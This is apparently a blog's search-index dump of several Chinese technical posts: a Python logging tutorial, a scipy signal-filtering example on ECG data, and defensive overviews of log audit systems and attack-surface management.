2.通过日期来分割日志文件 TimedRotatingFileHandler 日志记录到文件中，支持按时间间隔来更新日志\n1 logging.handlers.TimedRotatingFileHandler(filename, when=\u0026#39;h\u0026#39;, interval=1, backupCount=0, encoding=None, delay=False, utc=False, atTime=None) 指定的文件会被打开并用作日志记录的流。 对于轮换操作它还会设置文件名前缀。 轮换的发生是基于 when 和 interval 的积。 你可以使用 when 来指定 interval 的类型。 可能的值列表如下。 请注意它们不是大小写敏感的。\n值 间隔类型 如果/如何使用 atTime \u0026lsquo;S\u0026rsquo; 秒 忽略 \u0026lsquo;M\u0026rsquo; 分钟 忽略 \u0026lsquo;H\u0026rsquo; 小时 忽略 \u0026lsquo;D\u0026rsquo; 天 忽略 \u0026lsquo;W0\u0026rsquo;-\u0026lsquo;W6\u0026rsquo; 工作日(0=星期一) 用于计算初始轮换时间 \u0026lsquo;midnight\u0026rsquo; 如果未指定 atTime 则在午夜执行轮换，否则将使用 atTime。 用于计算初始轮换时间 1 2 3 4 5 6 7 8 import logging from datetime import time from logging.handlers import RotatingFileHandler LOG_FORMAT = \u0026#34;%(asctime)s - %(levelname)s %(name)s %(filename)s [line:%(lineno)d] - %(message)s\u0026#34; tfh=logging.handlers.TimedRotatingFileHandler(\u0026#39;tfh_log.log\u0026#39;, when=\u0026#39;S\u0026#39;, interval=1.5, backupCount=2, encoding=\u0026#39;UTF-8\u0026#39;, delay=False, utc=False, atTime=time) rfh=logging.handlers.RotatingFileHandler(filename=\u0026#39;log.log\u0026#39;,encoding=\u0026#39;UTF-8\u0026#39;, maxBytes=1024, backupCount=2) logging.basicConfig(format=LOG_FORMAT,level=logging.DEBUG,handlers=[rfh,tfh]) 为了演示方便，这里when=\u0026lsquo;S\u0026rsquo;, interval=1.5 即1.5秒循环生成一个日志文件。在实际生产环境一般根据日志量的大小，可以配置成每天生成一个日志文件。 5、既生成日志文件又在控制台打印日志 有时候为了调试方便，还是想在控制台打印日志。能不能既生成日志文件又在控制台打印日志呢？通过配置logging的StreamHandler也是可以做到的。 StreamHandler StreamHandler 类位于核心 logging 包，它可将日志记录输出发送到数据流例如 sys.stdout, sys.stderr 或任何文件类对象（或者更精确地说，任何支持 write() 和 flush() 方法的对象）。\n1 2 sh=logging.StreamHandler() logging.basicConfig(format=LOG_FORMAT,level=logging.DEBUG,handlers=[rfh,tfh,sh]) 6、多个模块中记录日志 在实际项目使用过程中，一个好的实践是将日志配置的模块封装好成为一个通用的日志模块组件，可以给项目中所有的模块使用。 这里我们将配置好的日志logging从main.py中抽出来形成一个logutils.py的通用模块，其他模块就可以使用了 logutils.py\n1 2 3 4 5 6 7 8 9 import logging from datetime import time from logging.handlers import RotatingFileHandler LOG_FORMAT = \u0026#34;%(asctime)s - %(levelname)s %(name)s %(filename)s [line:%(lineno)d] - %(message)s\u0026#34; tfh=logging.handlers.TimedRotatingFileHandler(\u0026#39;tfh_log.log\u0026#39;, when=\u0026#39;S\u0026#39;, interval=1.5, backupCount=2, encoding=\u0026#39;UTF-8\u0026#39;, delay=False, utc=False, atTime=time) rfh=logging.handlers.RotatingFileHandler(filename=\u0026#39;log.log\u0026#39;,encoding=\u0026#39;UTF-8\u0026#39;, maxBytes=1024, backupCount=2) sh=logging.StreamHandler() logging.basicConfig(format=LOG_FORMAT,level=logging.DEBUG,handlers=[rfh,tfh,sh]) 如在othermodule.py中使用\n1 2 3 4 5 6 7 8 9 10 from logutils import logging class TestModule(): def print_log(self): logging.info(\u0026#39;this is TestModule.print_log() info\u0026#39;) @staticmethod def print_log_staic(): logging.info(\u0026#39;this is TestModule.print_log_staic info\u0026#39;) 在main.py中使用\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from logutils import logging from othermodule import TestModule def print_hi(name): logging.debug(\u0026#39;this is print_hi debug\u0026#39;) logging.info(\u0026#39;this is print_hi info\u0026#39;) logging.warning(\u0026#39;this is print_hi warning\u0026#39;) logging.error(\u0026#39;this is print_hi error\u0026#39;) logging.critical(\u0026#39;this is print_hi critical\u0026#39;) print(f\u0026#39;Hi print_hi, {name}\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: print_hi(\u0026#39;XieJava\u0026#39;) TestModule.print_log_staic() #类方法中打印日志 testModule=TestModule() testModule.print_log() #实例方法中打印日志 项目工程中所有的模块只要通过 from logutils import logging 引入logging就可以使用配置好的logging记录日志了。\n7、每个不同的模块使用不同的日志记录器记录日志 现在我们在所有的模块中都是用的默认的root记录器来记录的日志，实际上也可以让每个不同的模块使用不同的日志记录器记录日志。 日志事件信息在 LogRecord 实例中的记录器、处理器、过滤器和格式器之间传递。 通过调用 Logger 类（以下称为 loggers ， 记录器）的实例来执行日志记录。 在命名记录器时使用的一个好习惯是在每个使用日志记录的模块中使用模块级记录器，命名如下:\n1 logger = logging.getLogger(__name__) 这意味着记录器名称跟踪包或模块的层次结构，并且直观地从记录器名称显示记录事件的位置。 记录器层次结构的根称为根记录器。 这是函数 debug() 、 info() 、 warning() 、 error() 和 critical() 使用的记录器，它们就是调用了根记录器的同名方法。 函数和方法具有相同的签名。 根记录器的名称在输出中打印为 \u0026lsquo;root\u0026rsquo; 。 实际上我们只要通过 logger = logging.getLogger(__name__) 给每个模块定义一个记录器就可以了。 main.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from logutils import logging from othermodule import TestModule logger=logging.getLogger(__name__) #定义模块日志记录器 def print_hi(name): logger.debug(\u0026#39;this is print_hi debug\u0026#39;) logger.info(\u0026#39;this is print_hi info\u0026#39;) logger.warning(\u0026#39;this is print_hi warning\u0026#39;) logger.error(\u0026#39;this is print_hi error\u0026#39;) logger.critical(\u0026#39;this is print_hi critical\u0026#39;) print(f\u0026#39;Hi print_hi, {name}\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: print_hi(\u0026#39;XieJava\u0026#39;) TestModule.print_log_staic() #类方法中打印日志 testModule=TestModule() testModule.print_log() #实例方法中打印日志 othermodule.py\n1 2 3 4 5 6 7 8 9 10 11 from logutils import logging logger=logging.getLogger(__name__) #定义模块日志记录器 class TestModule(): def print_log(self): logger.info(\u0026#39;this is TestModule.print_log() info\u0026#39;) @staticmethod def print_log_staic(): logger.info(\u0026#39;this is TestModule.print_log_staic info\u0026#39;) 可以看到模块日志记录器打印出来的日志中模块名不再是默认的root，而是各自的模块名。\n8、通过配置文件配置日志记录器 在实际项目应用的过程中，通常通过配置文件来配置日志记录器的各种配置，这样的好处就是改变日志记录的配置不需要修改代码，直接修改配置文件就可以了。 接下来介绍如何通过配置文件配置logging日志记录器 新建 logging.conf 配置文件，通过如下配置将前面代码中的处理器，日志记录器，通过配置文件的方式配置好。 logging.conf\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 [loggers] keys=root,logger01 [logger_root] level=DEBUG handlers=sh [logger_logger01] level=DEBUG handlers=sh,tfh,rfh qualname=logger01 propagate=0 [handlers] keys=sh,tfh,rfh [handler_sh] class=StreamHandler level=DEBUG formatter=form01 args=(sys.stderr,) [handler_tfh] class=handlers.TimedRotatingFileHandler level=DEBUG formatter=form01 args=(\u0026#39;tfh_log.log\u0026#39;,\u0026#39;S\u0026#39;,1.5,2,) [handler_rfh] class=handlers.RotatingFileHandler level=DEBUG formatter=form01 args=(\u0026#39;log.log\u0026#39;,\u0026#39;a\u0026#39;,1024,2) [formatters] keys=form01 [formatter_form01] format=%(asctime)s - %(levelname)s %(name)s %(filename)s [line:%(lineno)d] - %(message)s 在logutils.py中应用配置文件\n1 2 import logging.config logging.config.fileConfig(\u0026#34;logging.conf\u0026#34;) logutils.py中的代码就异常简单了，应为原来通过代码实现的配置，都写到了logging.conf配置文件中了。 这里要注意的是，在应用日志记录器的时候，需要引用配置文件中配置的记录器，如配置文件中配置了root和logger01，在应用的时候可以引用这两个记录器，当然也可以在配置文件中配置更多的记录器。 在mian.py和othermodule.py中应用日志记录器的时候，需要注意记录器用要配置文件中定义的记录器，这里是logger01。\n1 logger=logging.getLogger(\u0026#39;logger01\u0026#39;) #定义模块日志记录器 8、日志中中文显示 当日志信息中有中文的时候，在控制台输出会自动的转码，但有时在文件输出的时候会出现乱码。 控制台输出中文，但日志文件中是乱码。 对照python官方说明文档设置编码，设置处理器的编码为UTF-8\n1 2 3 4 5 6 7 8 9 10 11 [handler_tfh] class=handlers.TimedRotatingFileHandler level=DEBUG formatter=form01 args=(\u0026#39;tfh_log.log\u0026#39;,\u0026#39;S\u0026#39;,1.5,2,\u0026#39;UTF-8\u0026#39;) [handler_rfh] class=handlers.RotatingFileHandler level=DEBUG formatter=form01 args=(\u0026#39;log.log\u0026#39;,\u0026#39;a\u0026#39;,1024,2,\u0026#39;UTF-8\u0026#39;) 现在重新执行main.py，可以看到日志文件中可以正常显示中文。 至此，我们从一个简单的日志记录实战，一步一步实现了自定义日志格式、写日志文件、抽出公共日志模块让其他模块用、同时写多个日志文件并进行日志文件切割、通过配置文件实现日志参数的定义、解决日志中文显示问题。基本覆盖了真实应用场景日志的使用。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-03-19-python%E6%97%A5%E5%BF%97logging%E5%AE%9E%E6%88%98%E6%95%99%E7%A8%8B/","summary":"\u003ch2 id=\"一什么是日志\"\u003e一、什么是日志\u003c/h2\u003e\n\u003cp\u003e在\u003ca href=\"http://xiejava.ishareread.com/posts/6a8b36cb/\"\u003e《网络安全之认识日志采集分析审计系统》\u003c/a\u003e中我们认识了日志。日志数据的核心就是日志消息或日志，日志消息是计算机系统、设备、软件等在某种刺激下反应生成的东西。\u003c/p\u003e\n\u003cp\u003e日志数据（log data）就是一条日志消息的内在含义，用来告诉你为什么生成日志消息的信息。日志（log）指用于展示某些事件全貌的日志消息的集合。\u003c/p\u003e","title":"Python日志logging实战教程"},{"content":"在有些项目中需要对信号进行滤波处理，尤其是在医疗的设备中如心跳、脉搏等设备的采样后进行处理。滤波的目的就是除去某些频率的信号如噪声。常见的包括有低通滤波、高通滤波、带通滤波。\n低通滤波指的是去除高于某一阈值频率的信号；高通滤波去除低于某一频率的信号；带通滤波指的是类似低通高通的结合保留中间频率信号；带阻滤波也是低通高通的结合只是过滤掉的是中间部分。通过滤波可以过滤到一些无用的噪音，得到的比较平滑的波形，用来进行分析。\nscipy模块提供了常用简单的信号滤波方法包括低通滤波、高通滤波、带通滤波、带阻滤波等。\n一、scipy信号滤波函数介绍 滤波器构造函数 1 scipy.signal.butter(N, Wn, btype=\u0026#39;low\u0026#39;, analog=False, output=\u0026#39;ba\u0026#39;) 输入参数： N:滤波器的阶数 Wn：归一化截止频率。计算公式Wn=2*截止频率/采样频率。（注意：根据采样定理，采样频率要大于两倍的信号本身最大的频率，才能还原信号。截止频率一定小于信号本身最大的频率，所以Wn一定在0和1之间）。当构造带通滤波器或者带阻滤波器时，Wn为长度为2的列表。 btype : 滤波器类型{‘lowpass’, ‘highpass’, ‘bandpass’, ‘bandstop’}, output : 输出类型{‘ba’, ‘zpk’, ‘sos’}, 输出参数： b，a: IIR滤波器的分子（b）和分母（a）多项式系数向量。output=\u0026lsquo;ba\u0026rsquo; z,p,k: IIR滤波器传递函数的零点、极点和系统增益. output= \u0026lsquo;zpk\u0026rsquo; sos: IIR滤波器的二阶截面表示。output= \u0026lsquo;sos\u0026rsquo;\n滤波函数 1 scipy.signal.filtfilt(b, a, x, axis=-1, padtype=\u0026#39;odd\u0026#39;, padlen=None, method=\u0026#39;pad\u0026#39;, irlen=None) 输入参数： b: 滤波器的分子系数向量 a: 滤波器的分母系数向量 x: 要过滤的数据数组。（array型） axis: 指定要过滤的数据数组x的轴 padtype: 必须是“奇数”、“偶数”、“常数”或“无”。这决定了用于过滤器应用的填充信号的扩展类型。{‘odd’, ‘even’, ‘constant’, None} padlen：在应用滤波器之前在轴两端延伸X的元素数目。此值必须小于要滤波元素个数- 1。（int型或None） method：确定处理信号边缘的方法。当method为“pad”时，填充信号；填充类型padtype和padlen决定，irlen被忽略。当method为“gust”时，使用古斯塔夫森方法，而忽略padtype和padlen。{“pad” ，“gust”} irlen：当method为“gust”时，irlen指定滤波器的脉冲响应的长度。如果irlen是None，则脉冲响应的任何部分都被忽略。对于长信号，指定irlen可以显著改善滤波器的性能。（int型或None） 输出参数： y:滤波后的数据数组\n二、代码介绍 scipy模块signal滤波器类型包括低通滤波、高通滤波、带通滤波、带阻滤波\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 pip install scipy #低通滤波 #假设采样频率为1000hz,信号本身最大的频率为500hz，要滤除400hz以上频率成分，即截至频率为400hz,则wn=2*400/1000=0.8。Wn=0.8 b, a = signal.butter(8, 0.8, \u0026#39;lowpass\u0026#39;) #配置滤波器 8 表示滤波器的阶数 filtedData = signal.filtfilt(b, a, data) #data为要过滤的信号 #高通滤波 b, a = signal.butter(8, 0.2, \u0026#39;highpass\u0026#39;) #配置滤波器 8 表示滤波器的阶数 filtedData = signal.filtfilt(b, a, data) #data为要过滤的信号 #带通滤波 b, a = signal.butter(8, [0.2,0.8], \u0026#39;bandpass\u0026#39;) #配置滤波器 8 表示滤波器的阶数 filtedData = signal.filtfilt(b, a, data) #data为要过滤的信号 #带阻滤波 b, a = signal.butter(8, [0.2,0.8], \u0026#39;bandstop\u0026#39;) #配置滤波器 8 表示滤波器的阶数 filtedData = signal.filtfilt(b, a, data) #data为要过滤的信号 三、信号滤波实战 这里以一个真实的心电数据为例，来实战对心电图某一段时间采样的信号数据进行高通滤波处理，对比一下原始的信号和高通滤波后的信号波形，然后输出成图片文件。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #引入包 import matplotlib.pyplot as plt from scipy import signal #读取心电图数据文件 bspfile=\u0026#39;data/1.txt\u0026#39; bsp_f = open(bspfile, \u0026#34;r\u0026#34;,encoding=\u0026#39;utf-8\u0026#39;) bsp_content = bsp_f.read() ary=bsp_content.split(\u0026#39; \u0026#39;) ary=[float(s) for s in bsp_content.split(\u0026#39; \u0026#39;)] ary_data=ary[0:10000] #取前10秒数据 b, a = signal.butter(8, 0.3, \u0026#39;highpass\u0026#39;) #配置滤波器 8 表示滤波器的阶数 #绘图 filtedData = signal.filtfilt(b, a, ary_data) #data为要过滤的信号 fig, axes = plt.subplots(2, 1, figsize=(32, 4)) axes[0].plot(ary_data) axes[0].set(title=\u0026#39;Source signal\u0026#39;) axes[1].plot(filtedData) axes[1].set(title=\u0026#39;highpass signal\u0026#39;) #保存图片 plt.savefig(\u0026#39;./signal1.png\u0026#39;, # ⽂件名：png、jpg、pdf dpi = 80, # 保存图⽚像素密度 bbox_inches = \u0026#39;tight\u0026#39;)# 保存图⽚完整 效果： 博客：http://xiejava.ishareread.com/\n微信公众号：fullbug 关注微信公众号，回复“信号滤波”获取全部代码+数据集\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-03-13-python%E5%AE%9E%E7%8E%B0%E7%AE%80%E5%8D%95%E4%BF%A1%E5%8F%B7%E6%BB%A4%E6%B3%A2%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e在有些项目中需要对信号进行滤波处理，尤其是在医疗的设备中如心跳、脉搏等设备的采样后进行处理。滤波的目的就是除去某些频率的信号如噪声。常见的包括有低通滤波、高通滤波、带通滤波。\u003c/p\u003e","title":"Python实现简单信号滤波实战"},{"content":"日志对于大家来说非常熟悉，机房中的各种系统、防火墙、交换机、路由器等等，都在不断地产生日志。无数实践告诉我们，健全的日志记录和分析系统是系统正常运营与优化以及安全事故响应的基础。我们一起来认识日志采集分析审计系统。\n一、什么是日志数据 1、日志的概念 日志数据的核心就是日志消息或日志，日志消息是计算机系统、设备、软件等在某种刺激下反应生成的东西。例如：Linux用户登录和注销、防火墙ACL通过和拒绝、存储系统故障等。\n日志数据（log data）就是一条日志消息的内在含义，用来告诉你为什么生成日志消息的信息。日志（log）指用于展示某些事件全貌的日志消息的集合。\n2、日志的类型 日志通用的几种类型：\n信息（Info）:告诉用户和管理员发生了一些没有风险的事情。 调试（Debug）:在应用程序代码运行时生成调试信息，给软件开发人员提供故障检测和定位问题的帮助。 警告（Warning）:缺少需要的文件、参数、数据，但又不影响系统运行时生成警告。 错误（Error）:传达在计算机系统重出现的各种级别的错误。许多错误消息只能给出为什么出错的起点，要寻找出导致错误发生的根本原因还需要进一步的调查。 警报（Alarm）:警报表明发生了一些有趣的事情。一般情况下，警报数据安全设备和安全相关系统领域的。如IPS检测到了一个恶意链接，可能会采取任何预先配置的行动，IPS会记录下检测结果以及所采取的行动。 可以看到日志数据包含了系统运行的很多重要信息，了解日志、做好日志的分析审计可以很好帮助用户更好监控和保障信息系统运行，及时识别针对信息系统的入侵攻击、内部违规等信息。\n二、为什么要做日志分析审计 1、满足法律法规的要求 国家的政策法规、行业标准等都明确对日志审计提出了要求，日志审计已成为企业满足合规内控要求所必须的一项基本要求。 2017年6月1日起施行的《中华人民共和国网络安全法》中规定：采取监测、记录网络运行状态、网络安全事件的技术措施，并按照规定留存相关的网络日志不少于六个月。\n《网络安全等级保护基本要求》（GB∕T 22239-2019）中规定：二到四级需要对网络、主机、应用安全三部分进行日志审计，留存日志需符合法律法规规定。\n我国政府及相关行业已相继推出了数十部法律法规。如国家《企业内控基本规范》、国家《计算机信 息系统安全等级保护划分准则》同时银行、证券、通信行业均提出了相关标准及要求，确立了面向内控的信息安全审计的必要性。如： 《ISO27001:2013 》4.3.3小节、 《ISO17799:2005 》10.10小节 《商业银行内部控制指引》第一百二十六条 银监局《商业银行信息科技风险管理指引》 《银行业金融机构信息系统风险管理指引》第四十六条 《证券公司内部控制指引》第一百一十七条 《互联网安全保护技术措施规定》第八条\n2、满足系统安全管理需求 当前信息安全形势日益严峻，信息安全防护工作面临前所未有的困难和挑战。日志审计能够帮助用户更好监控和保障信息系统运行，及时识别针对信息系统的入侵攻击、内部违规等信息，同时日志审计能够为安全事件的事后分析、调查取证提供必要的信息。\n三、日志分析审计的挑战 日志数据量巨大，无法很好的管控 每类设备产生的日志量都是十分巨大，分析审计员无法对数量巨大的日志进行查看与管控。 日志数据格式各异，可读性差 不同品牌、不同类型设备的日志格式都不相同，分析审计员无法准确解读所有设备的日志。 日志数据存储风险，彼此割裂 各类设备分散在网络中的不同位置，分析审计人员无法及时有效的查看到存储于不同位置的日志。 日志数据无法关联，分析困难 当威胁产生时无法关联其他日志进行溯源分析，无法找到问题的源头从根本上解决问题。 四、日志采集分析审计系统的主要核心功能 对于前面的日志分析审计现状带来的挑战，很多企业购买或自建了日志采集分析审计系统。一方面满足合规要求，另一方面满足自身业务系统安全管理的要求。\n日志采集分析审计系统，通过海量日志采集、异构设备日志范式化、安全事件关联分析等技术，实现日志全生命周期管理。协助运维人员从事前（发现安全风险）、事中（分析溯源）及事后（调查取证）等多个维度监控网络安全事件。 一般来说日志采集分析审计系统核心功能包括日志采集、日志存储、日志分析、日志查询、日志监控、日志事件告警、统计展示。\n1、日志采集 系统应提供全面的日志采集能力：支持网络安全设备、网络设备、数据库、windows/linux主机日志、web服务器日志、虚拟化平台日志以及自定义等日志； 提供多种的数据源管理功能：支持数据源的信息展示与管理、采集器的信息展示与管理以及agent的信息展示与管理；提供分布式外置采集器、Agent等多种日志采集方式；支持IPv4、IPv6日志采集、分析以及检索查询；\n2、日志存储 提供原始日志、范式化日志的存储，可自定义存储周期，支持FTP日志备份以及NFS网络文件共享存储等多种存储扩展方式。一般来说支持大数据技术的存储方式如ES等，日志数据存储需要满足不少于六个月。\n3、日志分析 提供便捷的日志分析操作，支持对日志进行分组、分组查询以及从叶子节点可直接查询分析日志；\n4、日志查询 提供丰富灵活的日志查询方式，支持全文、key-value、多kv布尔组合、括弧、正则、模糊等检索； 提供便捷的日志检索操作，支持保存检索、从已保存的检索导入见多条件等；\n5、日志监控 在采集器维度对日志源情况进行实时监控，对日志源的基本情况及事件信息进行展示，提供日志监控能力，支持对采集器、采集器资产的实时状态进行监控。如发现某一采集器在一段时间内没有日志数据报送，就需要排查是否是源系统或网络传输出现了问题。 在平台维度对平台自身的组件进行实时监控，保障平台自身的稳定运行。支持查看CPU、磁盘、内存总量及当前使用情况；支持查看资产的概览信息及资产关联的事件分布；\n6、日志事件告警 能够实现单事件的关联、多事件的关联分析；支持自定义事件规则，可按照日志、字段布尔逻辑关系等方式自定义规则；支持时间的查询、查询结果统计以及统计结果的展示等；支持对告警规则的自定义，可设置针对事件的各种筛选规则、告警等级等；\n能够进行统计关联分析、时序关联分析、逻辑关联分析 统计关联：基于统计条件规则的关联分析，如某一事件重复出现多次。典型的如：暴力破解，在某一时间段某一相同账号频繁多次失败的尝试登录日志。 时序关联：基于时序的规则的分析，如发生某动作后接着发生了其他的动作。如：发生了在某一时间段某一相同账号频繁多次失败的尝试登录日志后，发生了一次成功登录的日志。就有可能怀疑是暴力破解成功了。 逻辑关联：基于逻辑的关联，如满足什么条件的情况下发生了什么。如：不是白名单的IP访问了某台设备等。\n7、统计展示 支持丰富的内置报表以及灵活的自定义报表模式，按照日、周、月、年生成专项审计报告，支持实时报表、定时报表、周期性任务报表等方式；支持编辑报表的目录接口、引用统计项、设置报表标题、展示页眉和页码、报表配置基本内容（名称、描述等）；支持html，pdf，word格式的报表文件以及报表logo的灵活配置；可视化的交互界面能够展现当前审计情况，展现日志审计工作成果与价值。\n通过对人员角色的定义，可根据角色定义监控的个人工作台，过滤关键重要的事件和监控指标，更加方便安全的日常审计工作，有效提升日志审计的关注度和时效性。\n五、日志采集分析审计系统的价值 日志集中管控 日志采集分析审计系统可以帮助客户对海量日志进行集中管控，客户能够从日志采集、存储、分析、告警等环节参与日志全生命周期管理，有效解决日志分散、日志量大、日志格式不统一的问题，助力安全运维。 日志回溯与取证 日志采集分析审计系统能够对日志进行留存，支持回溯查询，有效解决事后追查困难、无法提供有效证据的难题。 监测体系构建 日志作为网络安全监测体系中比较重要的一环，可在信息获取和分析验证等方面提供技术支撑，当体系做出调整后，日志能够更加准确的反映出系统情况，助力企业网络安全监测体系构建，提升安全防御能力。 等保合规 日志采集分析审计系统平台支持大数据日志存储方案，可助力客户满足网络安全法、等保合规日志留存6个月的要求，同时支持灵活的自定义报表，可满足多样化的报表需求。 博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-03-10-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B9%8B%E8%AE%A4%E8%AF%86%E6%97%A5%E5%BF%97%E9%87%87%E9%9B%86%E5%88%86%E6%9E%90%E5%AE%A1%E8%AE%A1%E7%B3%BB%E7%BB%9F/","summary":"\u003cp\u003e日志对于大家来说非常熟悉，机房中的各种系统、防火墙、交换机、路由器等等，都在不断地产生日志。无数实践告诉我们，健全的日志记录和分析系统是系统正常运营与优化以及安全事故响应的基础。我们一起来认识日志采集分析审计系统。\u003c/p\u003e","title":"网络安全之认识日志采集分析审计系统"},{"content":"“摸清家底，认清风险”做好资产管理是安全运营的第一步。那么什么是资产，资产管理的难点痛点是什么，如何做好资产管理，认清风险。带着这些问题我们来认识一下资产及攻击面管理。\n一、资产的定义 《GBT 20984-2007信息安全技术信息安全风险评估规范》中，对于资产的定义为“对组织有价值的信息或资源，是安全策略保护的对象”。\n对于网络空间资产来说，这里的资产是指赛博空间中某机构所拥有的一切可能被潜在攻击者利用的设备、信息、应用等数字资产。具体对象包括但不限于硬件设备、云主机、操作系统、IP地址、端口、证书、域名、Web应用、业务应用、中间件、框架、机构公众号、小程序、App、API、源代码等。概括来说，只要是可操作的对象，不管是实体还是属性。都可以称之为“网络空间资产”。 借用“魔方安全”的图，一切可操作对象和属性，都是资产。\n二、资产管理的挑战 通过上面的定义和图示，可以看到其实网络空间资产，所涉及的覆盖面特别广，给企业资产管理安全运营带来的巨大的挑战： 1、对象多 按数字资产类型划分如网站、IP、域名、移动门户和云服务等一切可能被潜在攻击者利用的设备、信息、应用等都是网络空间资产。所以资产管理需要纳管的类型多，且随着业务的互联网化、社交化，导致资产及暴露面快速增长。 2、分布广 随着数字化应用的深入，资产分布在多个数据中心、私有云、公有云、混合云、边缘计算和物联网等各种基础设施环境中，照成了资产信息割裂碎片化，给资产的统一管理带来了困难。 3、变化快 随着数字化转型业务发展和新型IT技术应用，为快速响应市场和业务需求，互联网暴露资产无时无刻都在跟着生产运营动态变化。 4、更隐蔽 影子资产的存在，包括钓鱼欺诈网站、暗网交易数据、用户信息泄露、代码仓库等外部隐藏的企业资产，给企业经济或商誉上带来更大的伤害。\n三、解决方案 一切可能被潜在攻击者利用的设备、信息、应用等都是网络空间资产。你永远都无法知道攻击者如何利用这些网络空间资产进行攻击。\n所以摸清家底是第一步，要搞清楚自己的资产都有哪些，分布在那里，有哪些漏洞风险。这里互联网暴露资产及影子资产尤为关键。影子IT(shadow it)：指那些不在企业和组织IT部门掌控下的IT设备、软件及服务。影子资产就是影子IT中资产。互联网暴露面是网络攻击的入口，是网络安全运营的第一道防线；影子资产的存在更是让安全运营人员防不胜防，因为“你无法保护你看不见的东西”。为了解决这些问题业界推出了攻击面管理的概念。\n攻击面管理以保护组织数字资产安全为出发点，聚焦在攻击者视角去审视网络空间内不同形态种类的资产所组成的攻击暴露面，同时特别强调“可观测性”、“可运营”,这意味着资产的全面性可度量、风险可度量、响应处置可度量。\n攻击面管理的包括暴露面资产全面发现、资产脆弱性风险识别、多源数据融合分析、专项暴露面收敛。\n1、暴露面的全面发现 暴露面的发现主要以攻击者视角为主，涵盖外部信息、网络资产等维度。\n外部信息包括攻击者能够收集到的机构信息、在开源代码共享平台上的代码、外部接口等。\n机构信息收集 潜在攻击者首先会搜集用户的机构信息，搜集维度包括但不限于总部及分支机构名称、品牌、安全管理制度、业务运行时间、集团行政架构、各分支机构间的关系等等；针对高权限的IT管理人员，重点搜集姓名、邮箱、手机号、VPN账户、昵称、社会关系等等;搜集渠道主要有各大搜索引擎、天眼查类平台、网盘文库、官网、公众号、钉钉群、微信群、代码共享平台等。因此，安全团队可以通过外部攻击面发现平台，对此类信息做持续周期性的发现。先于攻击者发现此类资产，为响应收敛争取时间。\n源代码发现与收敛 代码共享平台存在隐匿的攻击暴露面，例如管理后台URL、VPN账户密码等，开发运维人员因缺乏安全意识，无意中将此类敏感信息上传至GitHub、Gitee等代码共享平台，为信息安全事故埋下导火索。攻击者主要是以用户机构的业务关键字、品牌名称、公司名称、IT人员的个人GitHub账户等渠道搜集这类信息，因此安全团队应以技术监测手段与内部行政管理相结合的方式，对此类攻击暴露面进行持续发现、收敛。\n外部接口管理 除了代码平台，还有一类常被忽视的攻击暴露面是外部接口，如与合作伙伴或第三方平台的API数据接口，与微信公众号菜单对接的URL、小程序或H5中隐含的数据接口等。这类外部接口，开发测试使用过后，即随着项目结束而被遗忘，极易成为潜在的攻击暴露面。同代码平台监测一样，安全团队应当以“技术+管理”相结合的方式，对此进行持续发现、收敛。\n网络资产攻击面覆盖 通过扫描探测、流量监听、主机代理、特征匹配、其他CMDB系统对接等多种方式，持续动态的发现、汇集资产数据，建立与业务之间的关联关系，安全责任落实责任人，做到摸清家底，解决资产掌握的“不准”、“不全”问题。建立统一的资产台账，对台账数据进行定期自动化探测稽核以及持续动态监测，发现未能了解或掌握暴露于网络空间的资产攻击面，对未申报的遗漏暴露面资产（影子资产）进行自动发现并预警，解决“大海捞针”的工作困扰。\n2、脆弱性风险识别 脆弱性风险识别包括弱口令识别、漏洞发现、安全配置不合规项的检查识别\n弱口令识别 弱口令没有严格和准确的定义，通常认为容易被别人猜测到或被破解工具破解的口令均为弱口令。近年来，账户密码的不断泄露导致暗网的密码数据库不断增加，日益开放的网络环境降低了边界的可防御性，远程设备的迅速涌入使互联网络上的用户和终端身份的安全管理更加复杂。可以说，金融行业的弱口令攻击面仍然是在不断扩大的。因此，攻击面发现能力中，对攻击面脆弱性的评估，首先还是要关注弱口令。 弱口令的发现方式相对也并不复杂，在发现管理后台页面、口令认证接口等类型资产时，相关产品或工具能够进一步辅以口令字典进行测试即可。这里的字典要支持用户上传进行自定义，同时针对不同的资产发现场景和任务，修改不同级别的弱口令测试强度，不影响业务。\n漏洞发现 作为攻击者，往往依赖于新爆出的0day或1day漏洞。这就决定了在新的漏洞威胁出现后，安全团队需要抢在攻击者之前，更快、更全、更准地定位潜在受漏洞威胁的风险资产。攻击面管理首先要做到在漏洞爆发之前，就对资产台账中的所有资产信息按照业务优先级进行标记，同时对所使用的系统、应用、中间件及资产的版本号等关键信息做到精细管理、持续更新。如此一来，在漏洞爆发时，才能第一时间做到资产快速筛选、PoC快速分发、漏洞精准匹配、虚拟补丁临时修复等快速检测与响应，赶在攻击者行动之前完成风险收敛。\n安全配置合规检查 安全配置通常都是由于人为的疏忽造成主要包括了账号、口令、授权、日志、IP通信等方面内容，反映了系统自身的安全脆弱性。攻击者往往利用主机、中间件的如脆弱的访问控制配置漏洞进行渗透。安全配置基线合规管控方案是能够有效保障网络设备、信息系统安全的手段之一，其内容主要涉及：登录配置、远程管理保护、访问控制、安全日志、安全协议等多方面内容，只有实现及时自动的采集和核查发现安全配置不合规项并进行整改，才能更好的保障网络资产的安全。\n3、多源数据融合分析 